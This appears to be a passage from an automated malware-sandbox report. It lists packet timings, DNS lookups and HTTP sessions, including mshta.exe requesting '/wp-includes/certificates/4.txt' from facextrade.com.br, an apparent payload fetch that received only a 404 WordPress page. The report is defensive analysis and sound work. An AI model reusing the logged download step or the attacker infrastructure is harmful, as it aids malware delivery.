                                                              Aug 16, 2022 10:33:29.185753107 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185769081 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185786963 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185803890 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185816050 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185832024 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185844898 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185863018 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185868025 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.185882092 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185895920 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.185899973 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185902119 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.185919046 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185918093 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.185937881 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185945034 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.185957909 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185966969 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.185976982 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.185985088 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.185995102 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186009884 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186012983 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186033010 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186048031 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186111927 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186129093 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186261892 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186273098 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186278105 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186283112 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186285973 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186304092 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186323881 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186341047 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186359882 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186379910 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186391115 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186398983 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186424971 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186459064 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.186490059 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.186496973 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.188174009 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.341695070 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.341758013 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.341784954 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.341789961 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.341825962 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.341835976 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.343950987 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.421646118 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.421669960 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.421686888 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.421703100 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.421720028 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.421736002 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.421752930 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.421770096 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.421781063 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.421787977 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.421797037 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.421799898 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.422733068 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.425102949 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.589725018 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.589766026 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.589786053 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.589838028 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.589875937 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.593509912 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.669956923 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.669997931 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.670032024 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.670049906 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.670067072 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.670089960 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.670108080 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.670129061 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.670145988 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.670350075 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.670399904 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.675311089 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.677367926 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.837788105 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.837848902 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.837887049 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.837908030 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.837928057 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.837929010 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.837966919 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.837969065 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838009119 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838037014 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838048935 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838057995 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838088989 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838107109 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838129044 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838130951 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838169098 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838207960 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838213921 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838247061 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838251114 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838290930 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838330984 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838340044 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838361025 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838371992 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838409901 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838409901 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838449955 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838489056 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838495970 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838516951 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838526964 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838566065 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838606119 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838608027 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838684082 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838725090 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838727951 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838762045 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838800907 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838800907 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838840008 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838876963 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838880062 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838916063 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838954926 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.838956118 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.838992119 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.839031935 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.841063976 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.913752079 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.913811922 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:29.913913012 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:29.913952112 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:34.847814083 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:34.850003004 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:34.923809052 CEST8049202187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:34.928978920 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:48.546411037 CEST4917780192.168.2.22142.250.181.238
                                                              Aug 16, 2022 10:34:48.546740055 CEST4917380192.168.2.22104.18.10.207
                                                              Aug 16, 2022 10:34:48.547017097 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:48.553776979 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:48.564310074 CEST8049173104.18.10.207192.168.2.22
                                                              Aug 16, 2022 10:34:48.564359903 CEST4917380192.168.2.22104.18.10.207
                                                              Aug 16, 2022 10:34:48.565521002 CEST8049177142.250.181.238192.168.2.22
                                                              Aug 16, 2022 10:34:48.565639019 CEST4917780192.168.2.22142.250.181.238
                                                              Aug 16, 2022 10:34:49.042175055 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:49.090604067 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:49.652180910 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:49.777116060 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:50.853490114 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:51.134438992 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:53.256133080 CEST4920280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:34:53.864697933 CEST4920180192.168.2.22187.45.240.69

                                                              UDP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Aug 16, 2022 10:33:02.933072090 CEST5586853192.168.2.228.8.8.8
                                                              Aug 16, 2022 10:33:02.952006102 CEST53558688.8.8.8192.168.2.22
                                                              Aug 16, 2022 10:33:04.487206936 CEST4968853192.168.2.228.8.8.8
                                                              Aug 16, 2022 10:33:04.505883932 CEST53496888.8.8.8192.168.2.22
                                                              Aug 16, 2022 10:33:04.622667074 CEST5527553192.168.2.228.8.8.8
                                                              Aug 16, 2022 10:33:04.649236917 CEST53552758.8.8.8192.168.2.22
                                                              Aug 16, 2022 10:33:25.038731098 CEST5440853192.168.2.228.8.8.8
                                                              Aug 16, 2022 10:33:25.064503908 CEST53544088.8.8.8192.168.2.22

                                                              DNS Queries

                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                              Aug 16, 2022 10:33:02.933072090 CEST192.168.2.228.8.8.80x4e5Standard query (0)facextrade.com.brA (IP address)IN (0x0001)
                                                              Aug 16, 2022 10:33:04.487206936 CEST192.168.2.228.8.8.80x5eecStandard query (0)netdna.bootstrapcdn.comA (IP address)IN (0x0001)
                                                              Aug 16, 2022 10:33:04.622667074 CEST192.168.2.228.8.8.80x723cStandard query (0)translate.google.comA (IP address)IN (0x0001)
                                                              Aug 16, 2022 10:33:25.038731098 CEST192.168.2.228.8.8.80x60bStandard query (0)storage.ie6countdown.comA (IP address)IN (0x0001)

                                                              DNS Answers

                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                              Aug 16, 2022 10:33:02.952006102 CEST8.8.8.8192.168.2.220x4e5No error (0)facextrade.com.br187.45.240.69A (IP address)IN (0x0001)
                                                              Aug 16, 2022 10:33:04.505883932 CEST8.8.8.8192.168.2.220x5eecNo error (0)netdna.bootstrapcdn.com104.18.10.207A (IP address)IN (0x0001)
                                                              Aug 16, 2022 10:33:04.505883932 CEST8.8.8.8192.168.2.220x5eecNo error (0)netdna.bootstrapcdn.com104.18.11.207A (IP address)IN (0x0001)
                                                              Aug 16, 2022 10:33:04.649236917 CEST8.8.8.8192.168.2.220x723cNo error (0)translate.google.comwww3.l.google.comCNAME (Canonical name)IN (0x0001)
                                                              Aug 16, 2022 10:33:04.649236917 CEST8.8.8.8192.168.2.220x723cNo error (0)www3.l.google.com142.250.181.238A (IP address)IN (0x0001)
                                                              Aug 16, 2022 10:33:22.099860907 CEST8.8.8.8192.168.2.220x21daNo error (0)gstaticadssl.l.google.com172.217.16.195A (IP address)IN (0x0001)
                                                              Aug 16, 2022 10:33:25.064503908 CEST8.8.8.8192.168.2.220x60bName error (3)storage.ie6countdown.comnonenoneA (IP address)IN (0x0001)

                                                              HTTP Request Dependency Graph

                                                              • facextrade.com.br
                                                                • translate.google.com
                                                                • netdna.bootstrapcdn.com

                                                              HTTP Packets

                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              0192.168.2.2249178142.250.181.238443C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              1192.168.2.2249171187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:03.218417883 CEST0OUTGET /wp-includes/certificates/4.txt HTTP/1.1
                                                              Accept: */*
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:04.353231907 CEST2INHTTP/1.1 404 Not Found
                                                              Date: Tue, 16 Aug 2022 08:33:03 GMT
                                                              Server: Apache
                                                              Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                              Cache-Control: no-cache, must-revalidate, max-age=0
                                                              Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                              Connection: close
                                                              Transfer-Encoding: chunked
                                                              Content-Type: text/html; charset=UTF-8
                                                              Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68
                                                              Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
                                                              Aug 16, 2022 10:33:04.353311062 CEST3INData Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65
                                                              Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
                                                              Aug 16, 2022 10:33:04.353364944 CEST4INData Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74
                                                              Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
                                                              Aug 16, 2022 10:33:04.353405952 CEST5INData Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65
                                                              Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
                                                              Aug 16, 2022 10:33:04.353461027 CEST6INData Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61
                                                              Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
                                                              Aug 16, 2022 10:33:04.353517056 CEST8INData Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d
                                                              Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
                                                              Aug 16, 2022 10:33:04.353569984 CEST9INData Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73
                                                              Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
                                                              Aug 16, 2022 10:33:04.353606939 CEST9INData Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79
                                                              Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
                                                              Aug 16, 2022 10:33:04.360995054 CEST11INData Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67
                                                              Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
